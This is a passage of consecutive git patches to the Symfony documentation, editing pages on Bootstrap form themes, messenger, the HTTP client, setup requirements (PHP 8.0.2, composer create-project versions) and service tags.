-    If you override the `row_attr` class option, the ``mb-3`` will be override too
-    and you will need to explicitly add it.
+    By default, all inputs are rendered with the ``mb-3`` class on their
+    container. If you override the ``row_attr`` class option, the ``mb-3`` will
+    be override too and you will need to explicitly add it.
 
 Error Messages
 --------------
 
-Unlike the Bootstrap 4 template, errors are rendered **after** the ``input`` element.
-However, this still make a strong connection between the error and its ``<input>``, as
-required by the `WCAG 2.0 standard`_.
+Unlike the :doc:`Bootstrap 4 theme </form/bootstrap4>`, errors are rendered
+**after** the ``input`` element. However, this still makes a strong connection
+between the error and its ``<input>``, as required by the `WCAG 2.0 standard`_.
 
 Checkboxes and Radios
 ---------------------
@@ -106,8 +106,8 @@ Inline Checkboxes and Radios
 ----------------------------
 
 If you want to render your checkboxes or radios fields `inline`_, you can add
-the `checkbox-inline` or `radio-inline` class, depending of your Symfony Form
-type or `ChoiceType` configuration, to the label class.
+the ``checkbox-inline`` or ``radio-inline`` class, depending of your Symfony
+Form type or ``ChoiceType`` configuration, to the label class.
 
 .. configuration-block::
 
@@ -142,8 +142,9 @@ type or `ChoiceType` configuration, to the label class.
 Switches
 ________
 
-Bootstrap 5 allows to render checkboxes as "`switches`_". You can enable this feature
-on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to the label:
+Bootstrap 5 allows to render checkboxes as `switches`_. You can enable this
+feature on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch``
+class to the label:
 
 .. configuration-block::
 
@@ -165,12 +166,12 @@ on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to
 
 .. tip::
 
-    You can also render your switches inline by simply adding the ``checkbox-inline`` class
-    on the ``label_attr`` option::
+    You can also render your switches inline by simply adding the
+    ``checkbox-inline`` class on the ``label_attr`` option::
 
         // ...
         'label_attr' => [
-            'class' => '`checkbox-inline checkbox-switch',
+            'class' => 'checkbox-inline checkbox-switch',
         ],
         // ...
 
@@ -181,8 +182,8 @@ on your Symfony Form ``CheckboxType`` by adding the ``checkbox-switch`` class to
 Input group
 ___________
 
-To create `input group`_ in your Symfony Form, simply add the `input-group` class
-to the ``row_attr`` option.
+To create `input group`_ in your Symfony Form, simply add the ``input-group``
+class to the ``row_attr`` option.
 
 .. configuration-block::
 
@@ -206,7 +207,7 @@ to the ``row_attr`` option.
 
 .. caution::
 
-    If you fill the `help` option of your form, it will also be rendered
+    If you fill the ``help`` option of your form, it will also be rendered
     as part of the group.
 
 Floating labels
@@ -244,19 +245,20 @@ of your form type.
 
 .. caution::
 
-    You **must** provide a ``label`` and a ``placeholder`` to make floating labels
-    work properly.
+    You **must** provide a ``label`` and a ``placeholder`` to make floating
+    labels work properly.
 
 Accessibility
 -------------
 
-The Bootstrap 5 framework has done a good job making it accessible for functional
-variations like impaired vision and cognitive ability. Symfony has taken this one
-step further to make sure the form theme complies with the `WCAG 2.0 standard`_.
+The Bootstrap 5 framework has done a good job making it accessible for
+functional variations like impaired vision and cognitive ability. Symfony has
+taken this one step further to make sure the form theme complies with the
+`WCAG 2.0 standard`_.
 
 This does not mean that your entire website automatically complies with the full
-standard, but it does mean that you have come far in your work to create a design
-for **all** users.
+standard, but it does mean that you have come far in your work to create a
+design for **all** users.
 
 .. _`WCAG 2.0 standard`: https://www.w3.org/TR/WCAG20/
 .. _`inline`: https://getbootstrap.com/docs/5.0/forms/checks-radios/#inline

From e51cb18429369cc3863abd99c4ca9b5696c5b7dc Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 15:42:14 +0200
Subject: [PATCH 0863/5766] Fixed some references

---
 form/bootstrap4.rst         | 2 +-
 form/bootstrap5.rst         | 2 --
 form/form_customization.rst | 2 +-
 3 files changed, 2 insertions(+), 4 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 34b83b6a203..a9214495e01 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -77,7 +77,7 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
+.. _reference-forms-bootstrap4-error-messages:
 
 Error Messages
 --------------
diff --git a/form/bootstrap5.rst b/form/bootstrap5.rst
index 65f3ec10941..3608b20f562 100644
--- a/form/bootstrap5.rst
+++ b/form/bootstrap5.rst
@@ -81,8 +81,6 @@ If you prefer to apply the Bootstrap styles on a form to form basis, include the
         {{ form(form) }}
     {% endblock %}
 
-.. _reference-forms-bootstrap-error-messages:
-
 .. note::
 
     By default, all inputs are rendered with the ``mb-3`` class on their
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 125b01e749a..b7aa3dd80c4 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -258,7 +258,7 @@ Renders any errors for the given field.
 .. caution::
 
     In the Bootstrap 4 form theme, ``form_errors()`` is already included
-    in ``form_label()``, see ":ref:`reference-forms-bootstrap-error-messages`"
+    in ``form_label()``, see ":ref:`reference-forms-bootstrap4-error-messages`"
 
 .. _reference-forms-twig-widget:
 

From 598b5ed4589c95cce95259bf605aed18b2399fbd Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 16:03:12 +0200
Subject: [PATCH 0864/5766] Minor tweak

---
 messenger.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index aa40f23a3f8..ff9f272a0f2 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -1023,8 +1023,8 @@ The transport has a number of options:
 ``queues[name][binding_arguments]``           Arguments to be used while binding the queue.
 ``queues[name][binding_keys]``                The binding keys (if any) to bind to this queue
 ``queues[name][flags]``                       Queue flags                                        ``AMQP_DURABLE``
-``exchange[arguments]``                       Extra arguments for the exchange i.e.
-                                              alternate-exchange
+``exchange[arguments]``                       Extra arguments for the exchange (e.g.
+                                              ``alternate-exchange``)
 ``exchange[default_publish_routing_key]``     Routing key to use when publishing, if none is
                                               specified on the message
 ``exchange[flags]``                           Exchange flags                                     ``AMQP_DURABLE``

From e638cf3bd87190f0957888df0c341c4eff1d158d Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Fri, 21 May 2021 16:05:30 +0200
Subject: [PATCH 0865/5766] Update service_container.rst

---
 service_container.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/service_container.rst b/service_container.rst
index e40c07a3587..26822ceb57b 100644
--- a/service_container.rst
+++ b/service_container.rst
@@ -645,7 +645,7 @@ But, you can control this and pass in a different logger:
             // ... same code as before
 
             // explicitly configure the service
-            $services->set(SiteUpdateManager::class)
+            $services->set(MessageGenerator::class)
                 ->arg('$logger', ref('monolog.logger.request'))
             ;
         };

From 3b47f523d1e5a76a6c9f292fd9e2887ac185a6ea Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 16:42:18 +0200
Subject: [PATCH 0866/5766] Minor tweak

---
 messenger.rst | 11 +++++------
 1 file changed, 5 insertions(+), 6 deletions(-)

diff --git a/messenger.rst b/messenger.rst
index ea301c44d33..e709b3ac37c 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -493,14 +493,13 @@ On production, there are a few important things to think about:
     new worker processes. The command uses the :ref:`app <cache-configuration-with-frameworkbundle>`
     cache internally - so make sure this is configured to use an adapter you like.
 
-.. note::
-
+**Use the Same Cache Between Deploys**
     If your deploy strategy involves the creation of new target directories, you
     should set a value for the :ref:`cache.prefix.seed <reference-cache-prefix-seed>`
-    configuration option in order to let this command use always the same cache namespace
-    between deployments. Otherwise, the ``cache.app`` pool will use the value of the
-    ``kernel.project_dir`` parameter as base for the namespace, which will lead to
-    different namespaces each time a new deployment is made.
+    configuration option in order to use the same cache namespace between deployments.
+    Otherwise, the ``cache.app`` pool will use the value of the ``kernel.project_dir``
+    parameter as base for the namespace, which will lead to different namespaces
+    each time a new deployment is made.
 
 Prioritized Transports
 ~~~~~~~~~~~~~~~~~~~~~~

From a7ad737e1995aef1f167489acbe8207b7e0c1468 Mon Sep 17 00:00:00 2001
From: Thomas Landauer <thomas@landauer.at>
Date: Tue, 13 Apr 2021 21:25:43 +0200
Subject: [PATCH 0867/5766] Adding label_html for asterisk

---
 form/bootstrap4.rst            | 7 +++++++
 reference/forms/types/form.rst | 2 ++
 2 files changed, 9 insertions(+)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index ccf4659738c..4d2c0db5da9 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -88,6 +88,13 @@ is a strong connection between the error and its ``<input>``, as required by the
 ``form_label()`` internally. If you call to ``form_errors()`` in your template,
 you'll get the error messages displayed *twice*.
 
+.. tip::
+
+    Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
+    ``:after`` to append an asterisk to the label, because it would be displayed
+    after the error message. Use the :ref:`label <reference-form-option-label-html>`
+    option instead.
+
 Checkboxes and Radios
 ---------------------
 
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index 4099436430b..55d0a03a7e5 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -170,6 +170,8 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 
 .. include:: /reference/forms/types/options/disabled.rst.inc
 
+.. _reference-form-option-label:
+
 .. include:: /reference/forms/types/options/label.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc

From ff8a81e7c609399eae1f4ba3009312e6d67d1d4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 17:08:03 +0200
Subject: [PATCH 0868/5766] Minor improvement

---
 form/bootstrap4.rst            | 4 ++--
 reference/forms/types/form.rst | 2 ++
 2 files changed, 4 insertions(+), 2 deletions(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index cfbb43a53ef..dea3d7dad8d 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -92,8 +92,8 @@ you'll get the error messages displayed *twice*.
 
     Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
     ``:after`` to append an asterisk to the label, because it would be displayed
-    after the error message. Use the :ref:`label <reference-form-option-label-html>`
-    option instead.
+    after the error message. Use the :ref:`label <reference-form-option-label>`
+    or :ref:`label_html <reference-form-option-label-html>` options instead.
 
 Checkboxes and Radios
 ---------------------
diff --git a/reference/forms/types/form.rst b/reference/forms/types/form.rst
index fa83a8ba4df..459156e88ba 100644
--- a/reference/forms/types/form.rst
+++ b/reference/forms/types/form.rst
@@ -179,6 +179,8 @@ of the form type tree (i.e. it cannot be used as a form type on its own).
 
 .. include:: /reference/forms/types/options/label.rst.inc
 
+.. _reference-form-option-label-html:
+
 .. include:: /reference/forms/types/options/label_html.rst.inc
 
 .. include:: /reference/forms/types/options/row_attr.rst.inc

From 5b4eb697aa3496837f299fe82d2fff7b1eaecb47 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 21 May 2021 17:08:36 +0200
Subject: [PATCH 0869/5766] Fixed a reference

---
 form/bootstrap4.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/form/bootstrap4.rst b/form/bootstrap4.rst
index 4d2c0db5da9..501dd88509f 100644
--- a/form/bootstrap4.rst
+++ b/form/bootstrap4.rst
@@ -92,7 +92,7 @@ you'll get the error messages displayed *twice*.
 
     Since form errors are rendered *inside* the ``<label>``, you cannot use CSS
     ``:after`` to append an asterisk to the label, because it would be displayed
-    after the error message. Use the :ref:`label <reference-form-option-label-html>`
+    after the error message. Use the :ref:`label <reference-form-option-label>`
     option instead.
 
 Checkboxes and Radios

From 1fbacaf0467d8f805898f227250986ee09364907 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Wed, 19 May 2021 17:13:46 +0200
Subject: [PATCH 0870/5766] Bump Symfony PHP requirements to 8.0.2

---
 components/property_info.rst          | 4 ++--
 configuration/secrets.rst             | 9 +--------
 quick_tour/the_big_picture.rst        | 2 +-
 reference/configuration/framework.rst | 5 -----
 reference/configuration/security.rst  | 4 +---
 security/named_hashers.rst            | 6 +-----
 setup.rst                             | 5 ++---
 7 files changed, 8 insertions(+), 27 deletions(-)

diff --git a/components/property_info.rst b/components/property_info.rst
index b6684d948d8..5a4e62b6cd2 100644
--- a/components/property_info.rst
+++ b/components/property_info.rst
@@ -122,7 +122,7 @@ class exposes public methods to extract several types of information:
 
 * :ref:`List of properties <property-info-list>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyListExtractorInterface::getProperties`
 * :ref:`Property type <property-info-type>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface::getTypes`
-  (including typed properties since PHP 7.4)
+  (including typed properties)
 * :ref:`Property description <property-info-description>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getShortDescription` and :method:`Symfony\\Component\\PropertyInfo\\PropertyDescriptionExtractorInterface::getLongDescription`
 * :ref:`Property access details <property-info-access>`: :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isReadable` and  :method:`Symfony\\Component\\PropertyInfo\\PropertyAccessExtractorInterface::isWritable`
 * :ref:`Property initializable through the constructor <property-info-initializable>`:  :method:`Symfony\\Component\\PropertyInfo\\PropertyInitializableExtractorInterface::isInitializable`
@@ -357,7 +357,7 @@ Using PHP reflection, the :class:`Symfony\\Component\\PropertyInfo\\Extractor\\R
 provides list, type and access information from setter and accessor methods.
 It can also give the type of a property (even extracting it from the constructor
 arguments), and if it is initializable through the constructor. It supports
-return and scalar types for PHP 7::
+return and scalar types::
 
     use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 8db723d63de..bcb7e82c533 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -14,10 +14,7 @@ store them by using Symfony's secrets management system - sometimes called a
 
 .. note::
 
-    The Secrets system requires the sodium PHP extension that is bundled
-    with PHP 7.2. If you're using an earlier PHP version, you can
-    install the `libsodium`_ PHP extension or use the
-    `paragonie/sodium_compat`_ package.
+    The Secrets system requires the Sodium PHP extension.
 
 .. _secrets-generate-keys:
 
@@ -317,7 +314,3 @@ The secrets system is enabled by default and some of its behavior can be configu
                 // ->decryptionEnvVar('base64:default::SYMFONY_DECRYPTION_SECRET')
             ;
         };
-
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
-.. _`paragonie/sodium_compat`: https://github.com/paragonie/sodium_compat
diff --git a/quick_tour/the_big_picture.rst b/quick_tour/the_big_picture.rst
index b6ad8eaafdd..34ebc1e1b96 100644
--- a/quick_tour/the_big_picture.rst
+++ b/quick_tour/the_big_picture.rst
@@ -14,7 +14,7 @@ safe & easy!) and offers long-term support.
 Downloading Symfony
 -------------------
 
-First, make sure you've installed `Composer`_ and have PHP 7.1.3 or higher.
+First, make sure you've installed `Composer`_ and have PHP 8.0.2 or higher.
 
 Ready? In a terminal, run:
 
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index cfd85b374a7..f4ef18635e4 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -1656,11 +1656,6 @@ The possible values for this option are:
   user consciously made the request (by clicking a link or submitting a form
   with the ``GET`` method).
 
-.. note::
-
-    This option is available starting from PHP 7.3, but Symfony has a polyfill
-    so you can use it with any older PHP version as well.
-
 cookie_secure
 .............
 
diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index fa9acdaa6a8..72b6f9b5fec 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -327,8 +327,7 @@ Using the Sodium Password Hasher
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
 
 It uses the `Argon2 key derivation function`_ and it's the hasher recommended
-by Symfony. Argon2 support was introduced in PHP 7.2, but if you use an earlier
-PHP version, you can install the `libsodium`_ PHP extension.
+by Symfony.
 
 The hashed passwords are ``96`` characters long, but due to the hashing
 requirements saved in the resulting hash this may change in the future, so make
@@ -853,7 +852,6 @@ role inheritance rules by creating a role hierarchy, as explained in
 :ref:`security-role-hierarchy`.
 
 .. _`PBKDF2`: https://en.wikipedia.org/wiki/PBKDF2
-.. _`libsodium`: https://pecl.php.net/package/libsodium
 .. _`Session Fixation`: https://owasp.org/www-community/attacks/Session_fixation
 .. _`Argon2 key derivation function`: https://en.wikipedia.org/wiki/Argon2
 .. _`bcrypt password hashing function`: https://en.wikipedia.org/wiki/Bcrypt
diff --git a/security/named_hashers.rst b/security/named_hashers.rst
index 06f31852020..033986cf861 100644
--- a/security/named_hashers.rst
+++ b/security/named_hashers.rst
@@ -110,9 +110,7 @@ be done with named hashers:
 
 .. note::
 
-    If you are running PHP 7.2+ or have the `libsodium`_ extension installed,
-    then the recommended hashing algorithm to use is
-    :ref:`Sodium <reference-security-sodium>`.
+    The recommended hashing algorithm to use is :ref:`Sodium <reference-security-sodium>`.
 
 This creates a hasher named ``harsh``. In order for a ``User`` instance
 to use it, the class must implement
@@ -188,5 +186,3 @@ you must register a service for it in order to use it as a named hasher:
 
 This creates a hasher named ``app_hasher`` from a service with the ID
 ``App\Security\Hasher\MyCustomPasswordHasher``.
-
-.. _`libsodium`: https://pecl.php.net/package/libsodium
diff --git a/setup.rst b/setup.rst
index bca61758e65..f3218bf608f 100644
--- a/setup.rst
+++ b/setup.rst
@@ -17,8 +17,8 @@ Technical Requirements
 
 Before creating your first Symfony application you must:
 
-* Install PHP 7.2.5 or higher and these PHP extensions (which are installed and
-  enabled by default in most PHP 7 installations): `Ctype`_, `iconv`_, `JSON`_,
+* Install PHP 8.0.2 or higher and these PHP extensions (which are installed and
+  enabled by default in most PHP 8 installations): `Ctype`_, `iconv`_,
   `PCRE`_, `Session`_, `SimpleXML`_, and `Tokenizer`_;
 * `Install Composer`_, which is used to install PHP packages.
 
@@ -315,7 +315,6 @@ Learn More
 .. _`Contrib recipe repository`: https://github.com/symfony/recipes-contrib
 .. _`Symfony Recipes documentation`: https://github.com/symfony/recipes/blob/master/README.rst
 .. _`iconv`: https://www.php.net/book.iconv
-.. _`JSON`: https://www.php.net/book.json
 .. _`Session`: https://www.php.net/book.session
 .. _`Ctype`: https://www.php.net/book.ctype
 .. _`Tokenizer`: https://www.php.net/book.tokenizer

From cae061883c301031dfda501af024360fd95a3619 Mon Sep 17 00:00:00 2001
From: Giulio Lastra <giuliolastra@users.noreply.github.com>
Date: Mon, 24 May 2021 11:35:41 +0200
Subject: [PATCH 0871/5766] Changed version for composer create-project

Version was 5.3 instead of 6.0
---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index f3218bf608f..70a8fcb31ac 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"6.0.x@dev" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"6.0.x@dev" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 47c02598c023c8aef8d33469e4f28e8e4eff45a3 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Mon, 24 May 2021 20:22:30 +0200
Subject: [PATCH 0872/5766] [Session] Fix handler import

I found two examples where PdoSessionHandler is imported instead of MongoDbSessionHandler.
---
 session/database.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index eccff3062a2..fb84e8f45eb 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -487,7 +487,7 @@ the MongoDB connection as argument:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();
@@ -596,7 +596,7 @@ configure these values with the second argument passed to the
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use Symfony\Component\HttpFoundation\Session\Storage\Handler\PdoSessionHandler;
+        use Symfony\Component\HttpFoundation\Session\Storage\Handler\MongoDbSessionHandler;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();

From f03863d75652f2f806c0d10f613b5ed20b70e527 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Jan=20Sch=C3=A4dlich?=
 <1880467+jschaedl@users.noreply.github.com>
Date: Tue, 25 May 2021 08:39:50 +0200
Subject: [PATCH 0873/5766] Remove master wording

---
 contributing/code/conventions.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index e09fc3fbabb..932bc01c475 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -223,7 +223,7 @@ Removing Deprecated Code
 ------------------------
 
 Removing deprecated code can only be done once every 2 years, on the next major version of the
-impacted component (``master`` branch).
+impacted component (``6.0`` branch).
 
 When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
 of the impacted component:

From 3c3fc1d5d746560ec3756f1be6dc768173dcc85a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 09:40:39 +0200
Subject: [PATCH 0874/5766] Minor tweak

---
 contributing/code/conventions.rst | 8 ++++----
 1 file changed, 4 insertions(+), 4 deletions(-)

diff --git a/contributing/code/conventions.rst b/contributing/code/conventions.rst
index 932bc01c475..7a41d20cc7c 100644
--- a/contributing/code/conventions.rst
+++ b/contributing/code/conventions.rst
@@ -222,11 +222,11 @@ All these tasks are mandatory and must be done in the same pull request.
 Removing Deprecated Code
 ------------------------
 
-Removing deprecated code can only be done once every 2 years, on the next major version of the
-impacted component (``6.0`` branch).
+Removing deprecated code can only be done once every two years, on the next
+major version of the impacted component (``6.0`` branch, ``7.0`` branch, etc.).
 
-When removing deprecated code, the consequences of the deprecation must be added to the ``CHANGELOG.md`` file
-of the impacted component:
+When removing deprecated code, the consequences of the deprecation must be added
+to the ``CHANGELOG.md`` file of the impacted component:
 
 .. code-block:: markdown
 

From f447179249c7222cbfd9df7214991870652d23e7 Mon Sep 17 00:00:00 2001
From: Antonin CLAUZIER <antonin@clauzier.dev>
Date: Mon, 24 May 2021 12:39:55 +0200
Subject: [PATCH 0875/5766] [HttpClient] HttpClientInterface::withOptions
 method

---
 http_client.rst | 12 ++++++++++++
 1 file changed, 12 insertions(+)

diff --git a/http_client.rst b/http_client.rst
index 81ea39a6905..a4aa1b0043d 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -138,6 +138,18 @@ You can configure the global options using the ``default_options`` option:
              'max_redirects' => 7,
         ]);
 
+You can also use the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions`
+method to retrieve a new instance of the client with new default options::
+
+        $this->client = $client->withOptions([
+            'base_uri' => 'https://...',
+            'headers' => ['header-name' => 'value0, value1, ...']
+        ]);
+
+.. versionadded:: 5.3
+
+    The :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions` method was introduced in Symfony 5.3.
+
 Some options are described in this guide:
 
 * `Authentication`_

From cfdbb167675dcbdfd0fbd2bfa1e3c05daeda0283 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 11:36:00 +0200
Subject: [PATCH 0876/5766] Minor tweak

---
 http_client.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/http_client.rst b/http_client.rst
index a4aa1b0043d..08266c7356f 100644
--- a/http_client.rst
+++ b/http_client.rst
@@ -141,14 +141,14 @@ You can configure the global options using the ``default_options`` option:
 You can also use the :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions`
 method to retrieve a new instance of the client with new default options::
 
-        $this->client = $client->withOptions([
-            'base_uri' => 'https://...',
-            'headers' => ['header-name' => 'value0, value1, ...']
-        ]);
+    $this->client = $client->withOptions([
+        'base_uri' => 'https://...',
+        'headers' => ['header-name' => 'header-value']
+    ]);
 
 .. versionadded:: 5.3
 
-    The :method:`Symfony\\Contracts\\HttpClient\\HttpClientInterface::withOptions` method was introduced in Symfony 5.3.
+    The ``withOptions()`` method was introduced in Symfony 5.3.
 
 Some options are described in this guide:
 

From 68c51c3cee07b7dfee6b04bc9643c88c3ab8bb81 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 11:41:43 +0200
Subject: [PATCH 0877/5766] Fixed composer require for Symfoyn 5.4

---
 setup.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/setup.rst b/setup.rst
index bca61758e65..56ae4074f31 100644
--- a/setup.rst
+++ b/setup.rst
@@ -65,10 +65,10 @@ Symfony application using Composer:
 .. code-block:: terminal
 
     # run this if you are building a traditional web application
-    $ composer create-project symfony/website-skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/website-skeleton:"5.4.x@dev" my_project_name
 
     # run this if you are building a microservice, console application or API
-    $ composer create-project symfony/skeleton:"5.3.x@dev" my_project_name
+    $ composer create-project symfony/skeleton:"5.4.x@dev" my_project_name
 
 No matter which command you run to create the Symfony application. All of them
 will create a new ``my_project_name/`` directory, download some dependencies

From 10244ba570324e6bf6c2da06e2fc0b2a60d723fa Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Tue, 25 May 2021 12:19:34 +0200
Subject: [PATCH 0878/5766] Fix section hierarchy in testing article

---
 testing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/testing.rst b/testing.rst
index ac92f8afda4..509fa24db90 100644
--- a/testing.rst
+++ b/testing.rst
@@ -573,7 +573,7 @@ will no longer be followed::
 .. _testing_logging_in_users:
 
 Logging in Users (Authentication)
-~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+.................................
 
 .. versionadded:: 5.1
 

From a119507a1bfea9f708255aa49a54615053d6c37b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 25 May 2021 13:26:43 +0200
Subject: [PATCH 0879/5766] [DependencyInjection] Remove a redundant table in
 DIC tags article

---
 reference/dic_tags.rst | 45 ++----------------------------------------
 1 file changed, 2 insertions(+), 43 deletions(-)

diff --git a/reference/dic_tags.rst b/reference/dic_tags.rst
index 7bb0aca674e..b9dea8349d0 100644
--- a/reference/dic_tags.rst
+++ b/reference/dic_tags.rst
@@ -5,49 +5,8 @@ Built-in Symfony Service Tags
 :doc:`DependencyInjection component </components/dependency_injection>` to flag
 services that require special processing, like console commands or Twig extensions.
 
-These are the most common tags provided by Symfony components, but in your
-application there could be more tags available provided by third-party bundles:
-
-========================================  ========================================================================
-Tag Name                                  Usage
-========================================  ========================================================================
-`auto_alias`_                             Define aliases based on the value of container parameters
-`console.command`_                        Add a command
-`container.hot_path`_                     Add to list of always needed services
-`controller.argument_value_resolver`_     Register a value resolver for controller arguments such as ``Request``
-`data_collector`_                         Create a class that collects custom data for the profiler
-`doctrine.event_listener`_                Add a Doctrine event listener
-`doctrine.event_subscriber`_              Add a Doctrine event subscriber
-`form.type`_                              Create a custom form field type
-`form.type_extension`_                    Create a custom "form extension"
-`form.type_guesser`_                      Add your own logic for "form type guessing"
-`kernel.cache_clearer`_                   Register your service to be called during the cache clearing process
-`kernel.cache_warmer`_                    Register your service to be called during the cache warming process
-`kernel.event_listener`_                  Listen to different events/hooks in Symfony
-`kernel.event_subscriber`_                To subscribe to a set of different events/hooks in Symfony
-`kernel.fragment_renderer`_               Add new HTTP content rendering strategies
-`kernel.reset`_                           Allows to clean up services between requests
-`mime.mime_type_guesser`_                 Add your own logic for guessing MIME types
-`monolog.logger`_                         Logging with a custom logging channel
-`monolog.processor`_                      Add a custom processor for logging
-`routing.loader`_                         Register a custom service that loads routes
-`routing.expression_language_provider`_   Register a provider for expression language functions in routing
-`security.expression_language_provider`_  Register a provider for expression language functions in security
-`security.voter`_                         Add a custom voter to Symfony's authorization logic
-`security.remember_me_aware`_             To allow remember me authentication
-`serializer.encoder`_                     Register a new encoder in the ``serializer`` service
-`serializer.normalizer`_                  Register a new normalizer in the ``serializer`` service
-`swiftmailer.default.plugin`_             Register a custom SwiftMailer Plugin
-`templating.helper`_                      Make your service available in PHP templates
-`translation.loader`_                     Register a custom service that loads translations
-`translation.extractor`_                  Register a custom service that extracts translation messages from a file
-`translation.dumper`_                     Register a custom service that dumps translation messages
-`twig.extension`_                         Register a custom Twig Extension
-`twig.loader`_                            Register a custom service that loads Twig templates
-`twig.runtime`_                           Register a lazy-loaded Twig Extension
-`validator.constraint_validator`_         Create your own custom validation constraint
-`validator.initializer`_                  Register a service that initializes objects before validation
-========================================  ========================================================================
+This article shows the most common tags provided by Symfony components, but in
+your application there could be more tags available provided by third-party bundles.
 
 auto_alias
 ----------

From 15df42403a7c125eb7619a4cf7b26d501871a15d Mon Sep 17 00:00:00 2001
From: Marc Straube <email@marcstraube.de>
Date: Fri, 12 Mar 2021 06:20:39 +0100
